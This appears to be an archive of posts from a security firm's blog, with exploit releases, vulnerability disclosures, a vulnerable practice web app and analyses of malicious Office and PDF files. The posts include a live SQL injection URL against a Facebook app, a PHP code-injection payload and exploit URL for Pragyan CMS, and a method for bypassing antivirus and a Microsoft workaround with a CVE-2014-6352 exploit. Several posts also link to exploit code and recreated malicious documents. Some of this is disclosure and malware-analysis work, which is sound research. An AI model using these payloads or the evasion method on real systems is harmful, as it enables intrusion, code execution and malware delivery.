ASL IT SECURITY

CVE-2014-6352 When defenses fall - eliminating the use of .inf files and bypassing Antiviruses!

2014-11-05T01:47:00.000-08:00

Regarding CVE-2014-6352 and CVE-2014-4114 as we know .inf files were used in malware samples found in the wild to execute the executable payloads. One of the workaround from Microsoft was to Block the launching of executables via Setup information files (https://technet.microsoft.com/en-us/library/security/ms14-060.aspx)

But CVE-2014-6352 requires .inf files to execute the payload is a myth which we are going to bust in this blog.

We took a public sample with embedded executable and .inf. When we unzipped it there were 2 ole objects there

OleObject1.bin - which is embedded executable
OleObject2.bin - which is exbedded .inf file

We created another ole object with putty.exe as executable payload. Renamed it as OleObject2.bin

Replaced it in exploit sample and created .ppsx file. When we executed the POC ppxs BOOM our payload got executed proving that using .inf files in not necessary in this particular exploit.

With this method we bypassed 3 things:

1) One of the workaround from MS to prevent the exploit
2) Antivirus signatures
3) Size limit of the executable

Below is the AV scan report of the POC we created. And its a bad news that none of the major AV detects the exploit.

ASL HackMe Labs - Yet another vulnerable web application!

2014-10-31T08:26:00.003-07:00

ASL HackMe Labs is yet another vulnerabile web application to practice various web based attacks. You can practice many web application attacks with these labs. Can be installed in both XAMPP and WAMPP.
To install extract all contents in web root.
Create a database named "security" and import security.sql file to it.
For RFI to work set allow_url_include=On and allow_url_fopen=On in your php.ini

Attacks You Can Practice With ASL HackMe Labs are

1) SQLi login bypass
2) SQLi Error Based
3) SQLi UNION based
4) Bilnd SQLi
5) SQLi filter bypassing
6) SQLi with INSERT_INTO
7) User Agent based SQLi
8) XSS through SQLi
9) Upload webshell through SQLi
10) XSS
11) User Agent based XXS
12) Full Path Disclosure
13) LFI
14) RFI
15) PHP Wrapper injections
16) Cookie based SQLi
17) Image Upload bypasses
18) Javascript Login Bypass
19) Logs Poisoning
20) Remote Command Execution
21) Header Injections

There are three realistic scenarios also.

Download ASL HackMe Labs Here

Keep checking our blog and youtube channel for ASL HackMe Labs tutorials:
Blog: http://www.aslitsecurity.blogspot.com/
Youtube Channel: https://www.youtube.com/channel/UCvQqfl3gCjepWk5VwMJS5oA
Website: www.aslitsecurity.com
Trainings: www.training.aslitsecurity.com

CVE-2014-6352 OLE Remote Code Execution Vulnerability

2014-10-23T14:50:00.001-07:00

Here is working exploit POC for CVE-2014-6352 OLE Remote Code Execution Vulnerability. Available through our exploit subscription and binary analysis program.

MS Word RTFPfragments exploit for office 2008 OSX

2012-04-19T01:15:00.000-07:00

Please download the code from

http://www.exploit-db.com/exploits/18749

http://www.1337day.com/exploits/18068

AOL search XSS

2012-04-18T12:39:00.000-07:00

XSS vulnerability in AOL search. We are trying to contact the AOL team. No reply from them yet.

Yahoo Cross Site Scripting Vulnerability!

2012-02-12T09:10:00.000-08:00

There is a Cross Site Scripting Vulnerability in yahoo.com subdomain. Its in upcoming.yahoo.com . This vulnerability allows the attacker to steal cookies and perform session hijacking attacks or use XSS worms. The vendor has been notified regarding the vulnerability details.

SAP Player 0.9 (.m3u) universal

2011-07-05T06:46:00.000-07:00

This exploit uses direct return address. Not SEH version

http://packetstormsecurity.org/files/view/102792/sapplayer-overflow.py.txt

Another vulnerability in facebook apps!

2011-03-21T08:19:00.000-07:00

This is second sql injection we found in facebook apps.

We tried to contact developers but got no response from them. So we decided to release the vulnerability.

Note:: There are few more facebook apps which we found are vulnerable to sql injection attacks. We are waiting for the developers to patch those. We will post them as soon as they are patched.

A Proof Of Concept of the vulnerability can be seen at::

http://apps.facebook.com/lucygames/game.php?gameid=-123%20UNION%20SELECT%20null,%28select%20concat%280x3a,unhex%28Hex%28cast%28group_concat%28table_name%29%20as%20char%29%29%29,0x3a%29%20FROM%20information_schema.tables%20Where%20table_schema=0x6C75637967616D6573%29,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null--

Sql Injection in Facebook applications!

2011-03-09T02:56:00.000-08:00

We found a vulnerability in 2 facebook applications. One is patched now so we are disclosing the vulnerability.

There was a SQL Injection vulnerability in apps.facebook.com

Vendor::twmarketplace
Location:: http://apps.facebook.com/twmarketplace/post.php?postid=
Severity:: Critical
Impact:: Database access/server control

It was possible to extract all data of all databases located on that servers

Changelog::
7/3/2010 - Facebook vendors notified
8/3/2010 - Response from verdor
8/3/2010 - Vendor patched the vulnerability
9/3/2010 - Public disclosure

Pragyan CMS v 3,0 mulltiple vulnerabilities!

2011-02-26T05:46:00.000-08:00

During the Pragyan's hacking challange we found these vulnerabilities in their open source CMS.

#Pragyan CMS v 3.0 mutiple Vulnerabilities

#Author Villy and Abhishek Lyall - villys777[at]gmail[dot]com,

abhilyall[at]gmail[dot]com

#Web - http://www.aslitsecurity.com/

#Blog - http://bugix-security.blogspot.com

#http://www.aslitsecurity.blogspot.com/

#Pragyan CMS v 3.0

Technical Description

1) Code execution in INSTALL/install.php

script not correctly validate entered fields.

possibility to write at password field string:

");echo exec($_GET["a"]);echo ("

or in another fields with turned of javascript.

in cms/config.inc.php will be code:

define("MYSQL_PASSWORD","");echo exec($_GET["a"]);echo ("");

which allows command execution.

EXPLOIT:: http://target.com/blog/cms/config.inc.php?a=ls -la

2) sql injection

- get mysql version EXPLOIT::

http://target.com/path/+view&thread_id=-1 UNION ALL SELECT

null,null,null,null,concat(unhex(Hex(cast(@@version as

char)))),null,null,null--

Solution

update to Pragyan CMS 3.0 rev.274

Changelog

2011-19-02 : Initial release

2011-20-02 : Reported to vendor

2011-25-02 : patch released

2011-25-02 : public disclose

Credits

Villy

Abhishek Lyall

pragyan.org

http://bugix-security.blogspot.com

http://www.aslitsecurity.blogspot.com/

Abhishek Lyall

Digital Music Pad v8.2.3.4.8 (.pls) SEH Overflow!

2010-12-29T10:36:00.001-08:00

http://www.exploit-db.com/exploits/15855/

Video Workstation Version 5.3.9.4 dll hijacking (iacenc.dll, ir50_lcs.dll)!!

2010-10-02T04:07:00.001-07:00

http://inj3ct0r.com/exploits/14314

iworkstation Version 9.3.2.1.4 dll hijacking exploit

2010-09-30T13:22:00.001-07:00

http://inj3ct0r.com/exploits/14286

Quick Player 1.3 Unicode SEH Exploit.

2010-09-30T00:11:00.000-07:00

http://www.exploit-db.com/exploits/15156

http://inj3ct0r.com/exploits/14339

http://packetstormsecurity.org/1009-exploits/quickplayer-sehoverwrite.txt

Digital Music Pad Version 8.2.3.3.4 SEH overflow Metasploit Module

2010-09-28T01:44:00.001-07:00

http://www.metasploit.com/svn/framework3/trunk/modules/exploits/windows/fileformat/digital_music_pad_pls.rb

http://www.exploit-db.com/exploits/15134

http://inj3ct0r.com/exploits/14339

http://packetstormsecurity.org/1009-exploits/digital_music_pad_pls.rb.txt

DJ Studio Pro Version 8.1.3.2.1 SEH Exploit!

2010-09-17T15:43:00.001-07:00

http://www.exploit-db.com/exploits/15031

http://inj3ct0r.com/exploits/14098

Audiotran 1.4.2.4 SEH Overflow Exploit!

2010-09-10T08:36:00.001-07:00

http://www.exploit-db.com/exploits/14961

http://inj3ct0r.com/exploits/14059

http://packetstormsecurity.org/1009-exploits/audiotran1424-overflow.txt

Virtual DJ Trial 6.1.2 SEH Buffer Overflow Crash Proof of Concept!

2010-09-06T07:25:00.000-07:00

http://www.exploit-db.com/exploits/14909

http://inj3ct0r.com/exploits/13990

http://packetstormsecurity.org/1009-exploits/virtualdjtrial-overflow.txt

Recreating exploits from malware samples found in the Wild!!!

2010-09-04T11:50:00.000-07:00

This time we are releasing analysis of a malicious OLE document. This Malware exploits vulnerability in MS Word 2003. CVE-2006-6456

The malware sample for analysis is available at Mila’s blog (Greets Mila :)
http://contagiodump.blogspot.com/2010/09/cve-2009-4324-pdf-cmsisixthannualconfer.html

When we analyze with Offviz we see that there in invalid value for sprm.sgc

When we parse the document with OfficeMalScanner from http://www.reconstructer.org/code.html we find embedded OLE file at offset 0xdc00 and embedded executable at 0x4c00 encoded with XOR key 0x95

We remove the malicious executable and the OLE file from the exploits file. Now we are left with the exploit file along with shellcode. We analyze the remaining (clean.doc) exploit file in Hex Workshop we find another XOR’ed section encoded with same key 0x95. This might be the encoded shellcode.

So we extract this section and convert it into exe from http://sandsprite.com/shellcode_2_exe.php to analyze it in debugger. Here we see the shellcode IS actually XOR’ed with 0x95 key

We Decode the shellcode and analyze in HEX again. We see that shellcode writes the exe to disk as SUCHOST.EXE.

So now we got the location of shellcode also. Here we can remove the shellcode of malware and replace it with our shellcode.

The original malware, extracted executable, extracted OLE document, shellcode, decoded shellcode and a reconstructed POC file which calc.exe can be downloaded from::: http://www.mediafire.com/download.php?u55xgb1jpasp8na

There are 2 POC files one executes CMD.exe and other one executed CLAC.exe. Tested on XP SP 2 Office 2003.....

Greetz:: Mila, Villy, Puneet Jain, WEBDevil, ASL IT Sec Team

References::
http://contagiodump.blogspot.com/

http://www.reconstructer.org/

http://sandsprite.com/products.html

Microsoft Office Property Code Execution exploit (CVE-2006-2389) Analysis!!

2010-08-29T08:27:00.000-07:00

The Sample is from http://contagiodump.blogspot.com/ Thanks Mila =)

All Files and recreated exploit code are uploaded at http://www.mediafire.com/download.php?t1ks9dexkxaku87 for analysis...

Exploit added at :::

http://inj3ct0r.com/exploits/13903

http://packetstormsecurity.org/1008-exploits/mop-exec.txt

This file exploits the vulnerability CVE-2006-2389.The Document size is 292864 bytes. There is an executable and real doc file embedded in this file.

Upon executing this file an executable is dropped which is embedded at offset 0x18200. This executable is XOR’ed with 32 bit key 0x58E5F269 and also the first 512 bytes are flipped using 16 bit byte flip operation. The size of this exe is 90112 bytes.

Additionally This dropped executable also drops an exe named “NAVPInst.exe” of size 28672 bytes

From offset 0x2e200 an genuine DOC file is embedded. Its size is 103936 bytes. The first 4 bytes of doc file which are 0xD0CF11E0 are replaced by 0xCFD0E011.

The shellcode starts from offset 0x16738 and 0x16a08 which writes the executable and the genuine doc file to the disc and executes it.

XLS FEATHEADER original malware Analysis!!

2010-08-21T13:54:00.000-07:00

After getting the comments I decided to post a short comparison and analysis of original malware I had and the recreated file.

The samples can be downloaded from link below for analysis....
http://www.mediafire.com/download.php?xjmcp9agma1sctl

The size of file "original malware.xls" is 109184 bytes as there is an executable attached with it of size 17536 bytes from offset 0x13e00. Also the first 1536 bytes of the executable is XOR'ed with 32 bit key 0x66778899 and byte flip was also used.

A genuine xls file was embedded with the exploit from offset 0x18280 of size 10240 bytes....

After removing the malware exe and the gnuine file from the exploit the remaining file was of 81408 bytes....

There at offset 0x13408 the shellcode was there which dropped the executable and xls file in %temp% and executed the..... Its size was 0x2552 bytes.....And the shellcode was XOR'ed with b nit key 0x01

The extracted shellcode and decoded shellcode is also in the acrhive above....

Also its requested to first analyze deeply and use google search before claiming for something..

This was a short analysis. More to come Soon .....

NEW MS Excel Malformed FEATHEADER Record Exploit (MS09-067)!!

2010-08-21T09:53:00.000-07:00

http://inj3ct0r.com/exploits/13891

http://packetstormsecurity.org/1008-exploits/msexcelfeatheader-overflow.txt

Got Sample from the wild and recreated it....... =)

Exploit Sample From

http://contagiodump.blogspot.com/2010/03/mar-24-cve-20085-0081-xls-2010-beauty.html

New exploit by us MS-09-027!

2010-08-20T01:13:00.001-07:00

MS Word Record Parsing Buffer Overflow (MS-09-027)

http://packetstormsecurity.org/1008-exploits/mswordparse-overflow.txt

http://downloads.securityfocus.com/vulnerabilities/exploits/35188.py

2010-08-14T14:52:00.000-07:00

Analyzing malicious PDF malware.

Here We’ll demonstrate analysis of a PDF malware using two vulnerabilities of Acrobat Reader. The sample I got from Mila (thanks Mila) but I don’t remember the link and cant find it again.

Required things
• Python Scripts (zlib decompress), (shellcode2bin)

• HT Editor

• Hex Editor

First of all we open the malware sample in notepad++ and look for javascript streams.

So we see flatedecode is used here. We can decompress this with help of zlib. For this we copy this stream in other text file and save it and then use a python script (zlibd.py) to decompress it.

Now we analyze the malicious javascript in test editor.

The javascript shellcode is obfuscated using replace function (%u is replaced by XX)

So now we copy the shellcode in another file and replace ‘XX’ with ‘%u’. Then we will change shellcode to bin to further analyze its disassembly.

We will use another python script (shellcode2bin.py) to convert the shellcode to binary to analyze in disassembly

Now we can analyze it with HT editor:

We can see that the file have malicious exe XOR’ed with key 0x0f. When we again XOR the file we get the exe headers…at offset 0x4374. The size of the exe is 229475 bytes. At the end of this malicious exe a genuine PDF starts which opens when the exploit is completed. The genuine pdf file is XOR encoded with key 0xFF and starts from offset 0x3c3d7

We select this pdf file from 0x3c3d7 Where we can see %PDF till %%EOF in hex editor and paste it in a new file and save as ‘dropped.pdf’. Now this is the original file which is dropped after exploit is complete.

And to extract the exe We select from 0x4374 till 0x3c3d6 and XOR it with 0x0F..

This way we safely extracted the malicious exe from the PDF exploit as well as the real PDF file embedded in it without even opening the file.

If you want to download the sample file, javascript, Shellcode etc for analysis. Please download from here

http://rapidshare.com/files/412983633/analysis.rar

http://www.megaupload.com/?d=IDC87YJT

The rar password is:: infected

References::
http://contagiodump.blogspot.com/
http://www.honeynor.no/

Download HT Editor from::: http://hte.sourceforge.net/downloads.html

Author:: Abhishek Lyall and Abhishek Sahni

Email:: asl.itsec@gmail.com , info@aslitsecurity.com

Web:: http://aslitsecurity.com

Blog:: http://aslitsecurity.blogspot.com

zlibd.py

import sys

import zlib

file = sys.argv[1]

f = open(file,mode='rb')

buff=f.read()

f.close()

evilbuff = bytearray(zlib.decompress(buff))

file = sys.argv[2]

f = open(file,mode='wb')

f.write(evilbuff)

print ("[+] Done")

Shellcode2bin.py

#!/usr/bin/python

from binascii import unhexlify

import sys

def writeToStdout(content):

sys.stdout.write(content)

def HexToBin(hex):

res = ''

length = len(hex)

idx = 0

while idx < length:

res += unhexlify(hex[idx:idx+2])

idx += 2

return res

def cArrayToBin(carray):

bytes = carray.split('\\x')

res = ''

for b in bytes:

res += HexToBin(b)

return res

def unicodeToBin(unicode):

bytes = unicode.split('%u')

binary = ''

for uni in bytes:

binary += swapHexToBin(uni)

return binary

def swapHexToBin(bytes):

if(len(bytes) == 0):

return ''

if(len(bytes) != 4):

print "Error swapping bytes! (%s)" % bytes

sys.exit(1)

a = bytes[2:4]

b = bytes[0:2]

return unhexlify(a) + unhexlify(b)

#- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -#

# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - #

#- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -#

if len(sys.argv) < 2:

f = sys.stdin

else:

filename = sys.argv[1]

f = file(filename, 'r')

content = f.read()

# strip newlines, whitespace, etc..

content = content.replace('\n', '')

content = content.replace(';', '')

content = content.replace('\r', '')

content = content.replace('\t', '')

content = content.replace(' ', '')

content = content.replace('+', '')

content = content.replace('"', '')

content = content.replace("'", '')

if content[0:2] == '%u':

res = unicodeToBin(content)

writeToStdout(res)

elif content[0:2] == '\\x':

res = cArrayToBin(content)

writeToStdout(res)

else:

res = HexToBin(content)

writeToStdout(res)

Exploits By us -- :)

2010-08-11T01:30:00.000-07:00

Mediacoder 0.7.5.4710 Buffer Overflow Exploit

http://inj3ct0r.com/exploits/13648